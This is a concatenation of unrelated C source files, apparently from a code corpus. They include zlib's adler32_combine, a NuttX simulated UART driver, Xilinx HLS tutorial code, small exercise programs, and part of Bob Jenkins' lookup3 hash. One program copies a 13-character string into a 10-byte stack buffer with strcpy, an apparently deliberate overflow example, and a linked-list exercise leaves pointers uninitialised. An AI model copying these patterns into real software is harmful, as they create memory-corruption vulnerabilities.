sums */ return adler | (sum2 << 16); } /* ========================================================================= */ uLong ZEXPORT adler32_combine(adler1, adler2, len2) uLong adler1; uLong adler2; z_off_t len2; { unsigned long sum1; unsigned long sum2; unsigned rem; /* the derivation of this formula is left as an exercise for the reader */ rem = (unsigned)(len2 % BASE); sum1 = adler1 & 0xffff; sum2 = rem * sum1; MOD(sum2); sum1 += (adler2 & 0xffff) + BASE - 1; sum2 += ((adler1 >> 16) & 0xffff) + ((adler2 >> 16) & 0xffff) + BASE - rem; if (sum1 >= BASE) sum1 -= BASE; if (sum1 >= BASE) sum1 -= BASE; if (sum2 >= (BASE << 1)) sum2 -= (BASE << 1); if (sum2 >= BASE) sum2 -= BASE; return sum1 | (sum2 << 16); }
the_stack_data/241741.c
/**************************************************************************** * arch/sim/src/sim/up_simuart.c * * Copyright (C) 2014 Gregory Nutt. All rights reserved. * Author: Gregory Nutt <[email protected]> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <fcntl.h> #include <stdbool.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <termios.h> #include <poll.h> #include <errno.h> /**************************************************************************** * Private Data ****************************************************************************/ static struct termios g_cooked; /**************************************************************************** * Private Functions ****************************************************************************/ /**************************************************************************** * Name: setrawmode ****************************************************************************/ static void setrawmode(int fd) { struct termios raw; tcgetattr(fd, &raw); /* Switch to raw mode */ raw.c_iflag &= ~(IGNBRK | BRKINT | PARMRK | ISTRIP | INLCR | IGNCR | ICRNL | IXON); raw.c_lflag &= ~(ECHO | ECHONL | ICANON | ISIG | IEXTEN); raw.c_cflag &= ~(CSIZE | PARENB); raw.c_cflag |= CS8; tcsetattr(fd, TCSANOW, &raw); } /**************************************************************************** * Name: restoremode ****************************************************************************/ static void restoremode(void) { /* Restore the original terminal mode */ tcsetattr(0, TCSANOW, &g_cooked); } /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: simuart_start ****************************************************************************/ void simuart_start(void) { /* Get the current stdin terminal mode */ tcgetattr(0, &g_cooked); /* Put stdin into raw mode */ setrawmode(0); /* Restore the original terminal mode before exit */ atexit(restoremode); } /**************************************************************************** * Name: simuart_open ****************************************************************************/ int simuart_open(const char *pathname) { int fd; fd = open(pathname, O_RDWR | O_NONBLOCK); if (fd >= 0) { /* keep raw mode */ setrawmode(fd); } else { fd = -errno; } return fd; } /**************************************************************************** * Name: simuart_close ****************************************************************************/ void simuart_close(int fd) { close(fd); } /**************************************************************************** * Name: simuart_putc ****************************************************************************/ int simuart_putc(int fd, int ch) { return write(fd, &ch, 1) == 1 ? ch : -1; } /**************************************************************************** * Name: simuart_getc ****************************************************************************/ int simuart_getc(int fd) { int ret; unsigned char ch; ret = read(fd, &ch, 1); return ret < 0 ? ret : ch; } /**************************************************************************** * Name: simuart_getcflag ****************************************************************************/ int simuart_getcflag(int fd, tcflag_t *cflag) { struct termios t; int ret; ret = tcgetattr(fd, &t); if (ret < 0) { ret = -errno; } else { *cflag = t.c_cflag; } return ret; } /**************************************************************************** * Name: simuart_setcflag ****************************************************************************/ int simuart_setcflag(int fd, tcflag_t cflag) { struct termios t; int ret; ret = tcgetattr(fd, &t); if (!ret) { t.c_cflag = cflag; ret = tcsetattr(fd, TCSANOW, &t); } if (ret < 0) { ret = -errno; } return ret; } /**************************************************************************** * Name: simuart_checkc ****************************************************************************/ bool simuart_checkc(int fd) { struct pollfd pfd; pfd.fd = fd; pfd.events = POLLIN; return poll(&pfd, 1, 0) == 1; }
the_stack_data/108566.c
#include <stdio.h> #include <string.h> #include <math.h> #include <stdlib.h> #include <assert.h> int lonelyinteger(int a_size, int* a) { int flag=1,i,k; for(i=0;i<a_size;i++) { flag=1; for(k=0;k<a_size;k++) { if(i != k && a[i] == a[k]) { flag=0; } } if(flag) { return a[i]; } } return 0; } int main() { int res; int _a_size, _a_i; scanf("%d", &_a_size); int _a[_a_size]; for(_a_i = 0; _a_i < _a_size; _a_i++) { int _a_item; scanf("%d", &_a_item); _a[_a_i] = _a_item; } res = lonelyinteger(_a_size, _a); printf("%d", res); return 0; }
the_stack_data/27791.c
/* ID: mythnc2 LANG: C TASK: gift1 Greedy Gift Givers 2011/10/25 18:37:46 */ #include <stdio.h> #include <string.h> #define LEN 20 #define N 10 /* giver: the money giver have to pay */ #define GIVER(person, money, n) person.money += money % n - money /* taker: the money taker get */ #define TAKER(person, money, n) person.money += money / n typedef struct group { char name[LEN + 1]; int money; } People; int findname(People *, char *); void eatname(FILE *, int); void printout(FILE *, People *, int); int main(void) { FILE *fin, *fout; int n, i, j, money, ntake; char tmp[LEN + 1]; People person[N]; fin = fopen("gift1.in", "r"); fout = fopen("gift1.out", "w"); fscanf(fin, "%d", &n); for (i = 0; i < n; i++) { fscanf(fin, "%s", person[i].name); person[i].money = 0; /* init */ } while (1) { if (fscanf(fin, "%s", tmp) == EOF) break; fscanf(fin, "%d %d", &money, &ntake); if (money == 0) { /* haven't to give money */ if (ntake > 0) eatname(fin, ntake); continue; } i = findname(person, tmp); /* the giver name */ GIVER(person[i], money, ntake); for (i = 0; i < ntake; i++) { fscanf(fin, "%s", tmp); j = findname(person, tmp); /* the taker name */ TAKER(person[j], money, ntake); } } /* output */ printout(fout, person, n); return 0; } /* findname: find the tmp name in person, * return the index of that name */ int findname(People *person, char *tmp) { int i; for (i = 0; ; i++) if (strcmp(person[i].name, tmp) == 0) return i; } /* eatname: eat name token */ void eatname(FILE *fin, int n) { while (n--) fscanf(fin, "%*s"); } /* printout: print out the results */ void printout(FILE *fout, People *person, int n) { int i; for (i = 0; i < n; i++) fprintf(fout, "%s %d\n", person[i].name, person[i].money); }
the_stack_data/154827885.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2011-2019 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ void do_nothing (void) {}
the_stack_data/1081140.c
#pragma line 1 "adders_io.c" #pragma line 1 "adders_io.c" 1 #pragma line 1 "<built-in>" 1 #pragma line 1 "<built-in>" 3 #pragma line 147 "<built-in>" 3 #pragma line 1 "<command line>" 1 #pragma empty_line #pragma empty_line #pragma empty_line #pragma empty_line #pragma empty_line #pragma line 1 "C:/opt/winprog/Xilinx/Vivado_HLS/2015.2/common/technology/autopilot\\etc/autopilot_ssdm_op.h" 1 /* autopilot_ssdm_op.h*/ /* #- (c) Copyright 2011-2015 Xilinx, Inc. All rights reserved. #- #- This file contains confidential and proprietary information #- of Xilinx, Inc. and is protected under U.S. and #- international copyright and other intellectual property #- laws. #- #- DISCLAIMER #- This disclaimer is not a license and does not grant any #- rights to the materials distributed herewith. Except as #- otherwise provided in a valid license issued to you by #- Xilinx, and to the maximum extent permitted by applicable #- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND #- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES #- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING #- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON- #- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and #- (2) Xilinx shall not be liable (whether in contract or tort, #- including negligence, or under any other theory of #- liability) for any loss or damage of any kind or nature #- related to, arising under or in connection with these #- materials, including for any direct, or any indirect, #- special, incidental, or consequential loss or damage #- (including loss of data, profits, goodwill, or any type of #- loss or damage suffered as a result of any action brought #- by a third party) even if such damage or loss was #- reasonably foreseeable or Xilinx had been advised of the #- possibility of the same. #- #- CRITICAL APPLICATIONS #- Xilinx products are not designed or intended to be fail- #- safe, or for use in any application requiring fail-safe #- performance, such as life-support or safety devices or #- systems, Class III medical devices, nuclear facilities, #- applications related to the deployment of airbags, or any #- other applications that could lead to death, personal #- injury, or severe property or environmental damage #- (individually and collectively, "Critical #- Applications"). Customer assumes the sole risk and #- liability of any use of Xilinx products in Critical #- Applications, subject only to applicable laws and #- regulations governing limitations on product liability. #- #- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS #- PART OF THIS FILE AT ALL TIMES. #- ************************************************************************ #pragma empty_line * * $Id$ */ #pragma line 280 "C:/opt/winprog/Xilinx/Vivado_HLS/2015.2/common/technology/autopilot\\etc/autopilot_ssdm_op.h" /*#define AP_SPEC_ATTR __attribute__ ((pure))*/ #pragma empty_line #pragma empty_line #pragma empty_line /****** SSDM Intrinsics: OPERATIONS ***/ // Interface operations //typedef unsigned int __attribute__ ((bitwidth(1))) _uint1_; void _ssdm_op_IfRead() __attribute__ ((nothrow)); void _ssdm_op_IfWrite() __attribute__ ((nothrow)); //_uint1_ _ssdm_op_IfNbRead() SSDM_OP_ATTR; //_uint1_ _ssdm_op_IfNbWrite() SSDM_OP_ATTR; //_uint1_ _ssdm_op_IfCanRead() SSDM_OP_ATTR; //_uint1_ _ssdm_op_IfCanWrite() SSDM_OP_ATTR; #pragma empty_line // Stream Intrinsics void _ssdm_StreamRead() __attribute__ ((nothrow)); void _ssdm_StreamWrite() __attribute__ ((nothrow)); //_uint1_ _ssdm_StreamNbRead() SSDM_OP_ATTR; //_uint1_ _ssdm_StreamNbWrite() SSDM_OP_ATTR; //_uint1_ _ssdm_StreamCanRead() SSDM_OP_ATTR; //_uint1_ _ssdm_StreamCanWrite() SSDM_OP_ATTR; #pragma empty_line // Misc void _ssdm_op_MemShiftRead() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_Wait() __attribute__ ((nothrow)); void _ssdm_op_Poll() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_Return() __attribute__ ((nothrow)); #pragma empty_line /* SSDM Intrinsics: SPECIFICATIONS */ void _ssdm_op_SpecSynModule() __attribute__ ((nothrow)); void _ssdm_op_SpecTopModule() __attribute__ ((nothrow)); void _ssdm_op_SpecProcessDecl() __attribute__ ((nothrow)); void _ssdm_op_SpecProcessDef() __attribute__ ((nothrow)); void _ssdm_op_SpecPort() __attribute__ ((nothrow)); void _ssdm_op_SpecConnection() __attribute__ ((nothrow)); void _ssdm_op_SpecChannel() __attribute__ ((nothrow)); void _ssdm_op_SpecSensitive() __attribute__ ((nothrow)); void _ssdm_op_SpecModuleInst() __attribute__ ((nothrow)); void _ssdm_op_SpecPortMap() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_SpecReset() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_SpecPlatform() __attribute__ ((nothrow)); void _ssdm_op_SpecClockDomain() __attribute__ ((nothrow)); void _ssdm_op_SpecPowerDomain() __attribute__ ((nothrow)); #pragma empty_line int _ssdm_op_SpecRegionBegin() __attribute__ ((nothrow)); int _ssdm_op_SpecRegionEnd() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_SpecLoopName() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_SpecLoopTripCount() __attribute__ ((nothrow)); #pragma empty_line int _ssdm_op_SpecStateBegin() __attribute__ ((nothrow)); int _ssdm_op_SpecStateEnd() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_SpecInterface() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_SpecPipeline() __attribute__ ((nothrow)); void _ssdm_op_SpecDataflowPipeline() __attribute__ ((nothrow)); #pragma empty_line #pragma empty_line void _ssdm_op_SpecLatency() __attribute__ ((nothrow)); void _ssdm_op_SpecParallel() __attribute__ ((nothrow)); void _ssdm_op_SpecProtocol() __attribute__ ((nothrow)); void _ssdm_op_SpecOccurrence() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_SpecResource() __attribute__ ((nothrow)); void _ssdm_op_SpecResourceLimit() __attribute__ ((nothrow)); void _ssdm_op_SpecCHCore() __attribute__ ((nothrow)); void _ssdm_op_SpecFUCore() __attribute__ ((nothrow)); void _ssdm_op_SpecIFCore() __attribute__ ((nothrow)); void _ssdm_op_SpecIPCore() __attribute__ ((nothrow)); void _ssdm_op_SpecKeepValue() __attribute__ ((nothrow)); void _ssdm_op_SpecMemCore() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_SpecExt() __attribute__ ((nothrow)); /*void* _ssdm_op_SpecProcess() SSDM_SPEC_ATTR; void* _ssdm_op_SpecEdge() SSDM_SPEC_ATTR; */ #pragma empty_line /* Presynthesis directive functions */ void _ssdm_SpecArrayDimSize() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_RegionBegin() __attribute__ ((nothrow)); void _ssdm_RegionEnd() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_Unroll() __attribute__ ((nothrow)); void _ssdm_UnrollRegion() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_InlineAll() __attribute__ ((nothrow)); void _ssdm_InlineLoop() __attribute__ ((nothrow)); void _ssdm_Inline() __attribute__ ((nothrow)); void _ssdm_InlineSelf() __attribute__ ((nothrow)); void _ssdm_InlineRegion() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_SpecArrayMap() __attribute__ ((nothrow)); void _ssdm_SpecArrayPartition() __attribute__ ((nothrow)); void _ssdm_SpecArrayReshape() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_SpecStream() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_SpecExpr() __attribute__ ((nothrow)); void _ssdm_SpecExprBalance() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_SpecDependence() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_SpecLoopMerge() __attribute__ ((nothrow)); void _ssdm_SpecLoopFlatten() __attribute__ ((nothrow)); void _ssdm_SpecLoopRewind() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_SpecFuncInstantiation() __attribute__ ((nothrow)); void _ssdm_SpecFuncBuffer() __attribute__ ((nothrow)); void _ssdm_SpecFuncExtract() __attribute__ ((nothrow)); void _ssdm_SpecConstant() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_DataPack() __attribute__ ((nothrow)); void _ssdm_SpecDataPack() __attribute__ ((nothrow)); #pragma empty_line void _ssdm_op_SpecBitsMap() __attribute__ ((nothrow)); void _ssdm_op_SpecLicense() __attribute__ ((nothrow)); #pragma empty_line #pragma empty_line /*#define _ssdm_op_WaitUntil(X) while (!(X)) _ssdm_op_Wait(1); #define _ssdm_op_Delayed(X) X */ #pragma line 7 "<command line>" 2 #pragma line 1 "<built-in>" 2 #pragma line 1 "adders_io.c" 2 /******************************************************************************* Vendor: Xilinx Associated Filename: adders_io.c Purpose: Vivado HLS tutorial example Device: All Revision History: March 1, 2013 - initial release #pragma empty_line ******************************************************************************* Copyright 2008 - 2013 Xilinx, Inc. All rights reserved. #pragma empty_line This file contains confidential and proprietary information of Xilinx, Inc. and is protected under U.S. and international copyright and other intellectual property laws. #pragma empty_line DISCLAIMER This disclaimer is not a license and does not grant any rights to the materials distributed herewith. Except as otherwise provided in a valid license issued to you by Xilinx, and to the maximum extent permitted by applicable law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and (2) Xilinx shall not be liable (whether in contract or tort, including negligence, or under any other theory of liability) for any loss or damage of any kind or nature related to, arising under or in connection with these materials, including for any direct, or any indirect, special, incidental, or consequential loss or damage (including loss of data, profits, goodwill, or any type of loss or damage suffered as a result of any action brought by a third party) even if such damage or loss was reasonably foreseeable or Xilinx had been advised of the possibility of the same. #pragma empty_line CRITICAL APPLICATIONS Xilinx products are not designed or intended to be fail-safe, or for use in any application requiring fail-safe performance, such as life-support or safety devices or systems, Class III medical devices, nuclear facilities, applications related to the deployment of airbags, or any other applications that could lead to death, personal injury, or severe property or environmental damage (individually and collectively, "Critical Applications"). Customer asresultes the sole risk and liability of any use of Xilinx products in Critical Applications, subject only to applicable laws and regulations governing limitations on product liability. #pragma empty_line THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS PART OF THIS FILE AT ALL TIMES. #pragma empty_line *******************************************************************************/ #pragma empty_line #pragma line 1 "./adders_io.h" 1 /******************************************************************************* Vendor: Xilinx Associated Filename: adders_io.h Purpose: Vivado HLS tutorial example Device: All Revision History: March 1, 2013 - initial release #pragma empty_line ******************************************************************************* Copyright 2008 - 2013 Xilinx, Inc. All rights reserved. #pragma empty_line This file contains confidential and proprietary information of Xilinx, Inc. and is protected under U.S. and international copyright and other intellectual property laws. #pragma empty_line DISCLAIMER This disclaimer is not a license and does not grant any rights to the materials distributed herewith. Except as otherwise provided in a valid license issued to you by Xilinx, and to the maximum extent permitted by applicable law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and (2) Xilinx shall not be liable (whether in contract or tort, including negligence, or under any other theory of liability) for any loss or damage of any kind or nature related to, arising under or in connection with these materials, including for any direct, or any indirect, special, incidental, or consequential loss or damage (including loss of data, profits, goodwill, or any type of loss or damage suffered as a result of any action brought by a third party) even if such damage or loss was reasonably foreseeable or Xilinx had been advised of the possibility of the same. #pragma empty_line CRITICAL APPLICATIONS Xilinx products are not designed or intended to be fail-safe, or for use in any application requiring fail-safe performance, such as life-support or safety devices or systems, Class III medical devices, nuclear facilities, applications related to the deployment of airbags, or any other applications that could lead to death, personal injury, or severe property or environmental damage (individually and collectively, "Critical Applications"). Customer asresultes the sole risk and liability of any use of Xilinx products in Critical Applications, subject only to applicable laws and regulations governing limitations on product liability. #pragma empty_line THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS PART OF THIS FILE AT ALL TIMES. #pragma empty_line *******************************************************************************/ #pragma empty_line #pragma empty_line #pragma empty_line void adders_io(int in1, int in2, int *in_out1); #pragma line 47 "adders_io.c" 2 #pragma empty_line void adders_io(int in1, int in2, int *in_out1) { #pragma HLS INTERFACE ap_hs port=in_out1 #pragma line 48 "adders_io.c" #pragma HLS INTERFACE ap_ack port=in2 #pragma line 48 "adders_io.c" #pragma HLS INTERFACE ap_vld port=in1 #pragma line 48 "adders_io.c" #pragma empty_line *in_out1 = in1 + in2 + *in_out1; #pragma empty_line #pragma empty_line }
the_stack_data/59511734.c
#include <stdio.h> #include <math.h> int main() { int a, b, n, arr[5] = { 0 }; scanf("%d%d%d", &a, &b, &n); for (int i = 0; i < n; i++) scanf("%d", arr + i); int cnt = 0, min = abs(a - b) , index = -1, tmp; for (int i = 0; i < n; i++) { if (abs(arr[i] - b) < min) { index = i; min = abs(arr[i] - b); tmp = arr[i]; } } if (index == -1) { printf("%d", min); } else if (tmp == a) { printf("%d", min); } else printf("%d", min + 1); }
the_stack_data/1188135.c
#include <stdio.h> #include <stdlib.h> struct yogesh { int value; struct yogesh *next; }; struct yogesh *insertEnd(struct yogesh *head, int data) { struct yogesh *temp = (struct yogesh *)malloc(sizeof(struct yogesh)); temp->value = data; if (head == NULL) { return temp; } struct yogesh *latest = head; while (latest->next != NULL) { latest = latest->next; } latest->next = temp; return head; } struct yogesh *deleteEnd(struct yogesh *head) { struct yogesh *a = head; struct yogesh *b = head->next; while (b->next != NULL) { a = a->next; b = b->next; } a->next = NULL; free(b); return a; } void traverse_array(struct yogesh *ptr) { while (ptr != NULL) { printf("The element in list is : %d \n", ptr->value); ptr = ptr->next; } } int main() { struct yogesh *first = NULL; first = insertEnd(first, 1); first = insertEnd(first, 2); first = insertEnd(first, 3); first = insertEnd(first, 4); printf("List before deletion : \n"); traverse_array(first); deleteEnd(first); printf("List after deletion : \n"); traverse_array(first); return 0; }
the_stack_data/39555.c
#include <stdio.h> void swap(int *a, int *b) { if (a == b) return; int t; t = *a, *a = *b, *b = t; } void qsort(int *left, int *right) { void swap(int *, int *); if (left >= right) return; int *pivot = left + (right - left) / 2; swap(left, pivot); pivot = left; for (int *p = left + 1; p <= right; ++p) { if (*p < *left) { swap(pivot + 1, p); ++pivot; } } swap(left, pivot); qsort(left, pivot - 1); qsort(pivot + 1, right); } void print(int *a, int n) { while (n-- > 0) printf("%d ", *a++); putchar('\n'); } int main() { int array[100]; printf("enter numbers: "); int n = 0; for (; n < 100; ++n) if (scanf("%d", array + n) != 1) break; print(array, n); qsort(array, array + n - 1); print(array, n); return 0; }
the_stack_data/711354.c
#include <nl_types.h> char *catgets (nl_catd catd, int set_id, int msg_id, const char *s) { return (char *)s; }
the_stack_data/40762615.c
#include <stdio.h> #include <string.h> int main() { char message[10]; int count, i; strcpy(message, "Hello, world!"); printf("Repeat how many times? "); scanf("%d", &count); for(i=0; i < count; i++) printf("%3d - %s\n", i, message); }
the_stack_data/210881.c
#include <stdio.h> #include <stdlib.h> int main() { int n,s,i,j,choice,pgflt=0,pgh,ci=0; printf("Enter the number of pages:\n"); scanf("%d",&n); int pages[n]; printf("Enter the pages:\n"); for(i=0;i<n;i++) scanf("%d",&pages[i]); printf("Enter the size of stack:\n"); scanf("%d",&s); int stack[s]; printf("Do you want to initialize stack?(1-Yes,0-No)\n"); scanf("%d",&choice); switch(choice) { case 0: for(i=0;i<s;i++) stack[i]=-1; break; case 1: printf("Enter the initialization stack:\n"); for(i=0;i<s;i++) scanf("%d",&stack[i]); break; default: printf("Wrong choice,exiting execution!"); exit(0); } for(i=0;i<n;i++) { pgh=0; for(j=0;j<s;j++) { if(stack[j]==pages[i]) pgh=1; } if(pgh==0) { printf("Page fault detected:%d replacing %d\n",pages[i],stack[ci]); stack[ci]=pages[i]; ci=(ci+1)%s; pgflt++; } } printf("Page Faults are %d with stack size %d\n",pgflt,s); }
the_stack_data/298785.c
/* http://burtleburtle.net/bob/hash/ ------------------------------------------------------------------------------- lookup3.c, by Bob Jenkins, May 2006, Public Domain. These are functions for producing 32-bit hashes for hash table lookup. hashword(), hashlittle(), hashlittle2(), hashbig(), mix(), and final() are externally useful functions. Routines to test the hash are included if SELF_TEST is defined. You can use this free for any purpose. It's in the public domain. It has no warranty. You probably want to use hashlittle(). hashlittle() and hashbig() hash byte arrays. hashlittle() is is faster than hashbig() on little-endian machines. Intel and AMD are little-endian machines. On second thought, you probably want hashlittle2(), which is identical to hashlittle() except it returns two 32-bit hashes for the price of one. You could implement hashbig2() if you wanted but I haven't bothered here. If you want to find a hash of, say, exactly 7 integers, do a = i1; b = i2; c = i3; mix(a,b,c); a += i4; b += i5; c += i6; mix(a,b,c); a += i7; final(a,b,c); then use c as the hash value. If you have a variable length array of 4-byte integers to hash, use hashword(). If you have a byte array (like a character string), use hashlittle(). If you have several byte arrays, or a mix of things, see the comments above hashlittle(). Why is this so big? I read 12 bytes at a time into 3 4-byte integers, then mix those integers. This is fast (you can do a lot more thorough mixing with 12*3 instructions on 3 integers than you can with 3 instructions on 1 byte), but shoehorning those bytes into integers efficiently is messy. ------------------------------------------------------------------------------- */ #include <stdio.h> /* defines printf for tests */ #include <time.h> /* defines time_t for timings in the test */ #include <stdint.h> /* defines uint32_t etc */ #include <sys/param.h> /* attempt to define endianness */ #ifdef linux # include <endian.h> /* attempt to define endianness */ #endif /* * My best guess at if you are big-endian or little-endian. This may * need adjustment. */ #if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) && \ __BYTE_ORDER == __LITTLE_ENDIAN) || \ (defined(i386) || defined(__i386__) || defined(__i486__) || \ defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL)) # define HASH_LITTLE_ENDIAN 1 # define HASH_BIG_ENDIAN 0 #elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) && \ __BYTE_ORDER == __BIG_ENDIAN) || \ (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel)) # define HASH_LITTLE_ENDIAN 0 # define HASH_BIG_ENDIAN 1 #else # define HASH_LITTLE_ENDIAN 0 # define HASH_BIG_ENDIAN 0 #endif #define hashsize(n) ((uint32_t)1<<(n)) #define hashmask(n) (hashsize(n)-1) #define rot(x,k) (((x)<<(k)) | ((x)>>(32-(k)))) /* ------------------------------------------------------------------------------- mix -- mix 3 32-bit values reversibly. This is reversible, so any information in (a,b,c) before mix() is still in (a,b,c) after mix(). If four pairs of (a,b,c) inputs are run through mix(), or through mix() in reverse, there are at least 32 bits of the output that are sometimes the same for one pair and different for another pair. This was tested for: * pairs that differed by one bit, by two bits, in any combination of top bits of (a,b,c), or in any combination of bottom bits of (a,b,c). * "differ" is defined as +, -, ^, or ~^. For + and -, I transformed the output delta to a Gray code (a^(a>>1)) so a string of 1's (as is commonly produced by subtraction) look like a single 1-bit difference. * the base values were pseudorandom, all zero but one bit set, or all zero plus a counter that starts at zero. Some k values for my "a-=c; a^=rot(c,k); c+=b;" arrangement that satisfy this are 4 6 8 16 19 4 9 15 3 18 27 15 14 9 3 7 17 3 Well, "9 15 3 18 27 15" didn't quite get 32 bits diffing for "differ" defined as + with a one-bit base and a two-bit delta. I used http://burtleburtle.net/bob/hash/avalanche.html to choose the operations, constants, and arrangements of the variables. This does not achieve avalanche. There are input bits of (a,b,c) that fail to affect some output bits of (a,b,c), especially of a. The most thoroughly mixed value is c, but it doesn't really even achieve avalanche in c. This allows some parallelism. Read-after-writes are good at doubling the number of bits affected, so the goal of mixing pulls in the opposite direction as the goal of parallelism. I did what I could. Rotates seem to cost as much as shifts on every machine I could lay my hands on, and rotates are much kinder to the top and bottom bits, so I used rotates. ------------------------------------------------------------------------------- */ #define mix(a,b,c) \ { \ a -= c; a ^= rot(c, 4); c += b; \ b -= a; b ^= rot(a, 6); a += c; \ c -= b; c ^= rot(b, 8); b += a; \ a -= c; a ^= rot(c,16); c += b; \ b -= a; b ^= rot(a,19); a += c; \ c -= b; c ^= rot(b, 4); b += a; \ } /* ------------------------------------------------------------------------------- final -- final mixing of 3 32-bit values (a,b,c) into c Pairs of (a,b,c) values differing in only a few bits will usually produce values of c that look totally different. This was tested for * pairs that differed by one bit, by two bits, in any combination of top bits of (a,b,c), or in any combination of bottom bits of (a,b,c). * "differ" is defined as +, -, ^, or ~^. For + and -, I transformed the output delta to a Gray code (a^(a>>1)) so a string of 1's (as is commonly produced by subtraction) look like a single 1-bit difference. * the base values were pseudorandom, all zero but one bit set, or all zero plus a counter that starts at zero. These constants passed: 14 11 25 16 4 14 24 12 14 25 16 4 14 24 and these came close: 4 8 15 26 3 22 24 10 8 15 26 3 22 24 11 8 15 26 3 22 24 ------------------------------------------------------------------------------- */ #define final(a,b,c) \ { \ c ^= b; c -= rot(b,14); \ a ^= c; a -= rot(c,11); \ b ^= a; b -= rot(a,25); \ c ^= b; c -= rot(b,16); \ a ^= c; a -= rot(c,4); \ b ^= a; b -= rot(a,14); \ c ^= b; c -= rot(b,24); \ } /* -------------------------------------------------------------------- This works on all machines. To be useful, it requires -- that the key be an array of uint32_t's, and -- that the length be the number of uint32_t's in the key The function hashword() is identical to hashlittle() on little-endian machines, and identical to hashbig() on big-endian machines, except that the length has to be measured in uint32_ts rather than in bytes. hashlittle() is more complicated than hashword() only because hashlittle() has to dance around fitting the key bytes into registers. -------------------------------------------------------------------- */ uint32_t hashword( const uint32_t *k, /* the key, an array of uint32_t values */ size_t length, /* the length of the key, in uint32_ts */ uint32_t initval) /* the previous hash, or an arbitrary value */ { uint32_t a,b,c; /* Set up the internal state */ a = b = c = 0xdeadbeef + (((uint32_t)length)<<2) + initval; /*------------------------------------------------- handle most of the key */ while (length > 3) { a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 3; k += 3; } /*------------------------------------------- handle the last 3 uint32_t's */ switch(length) /* all the case statements fall through */ { case 3 : c+=k[2]; case 2 : b+=k[1]; case 1 : a+=k[0]; final(a,b,c); case 0: /* case 0: nothing left to add */ break; } /*------------------------------------------------------ report the result */ return c; } /* -------------------------------------------------------------------- hashword2() -- same as hashword(), but take two 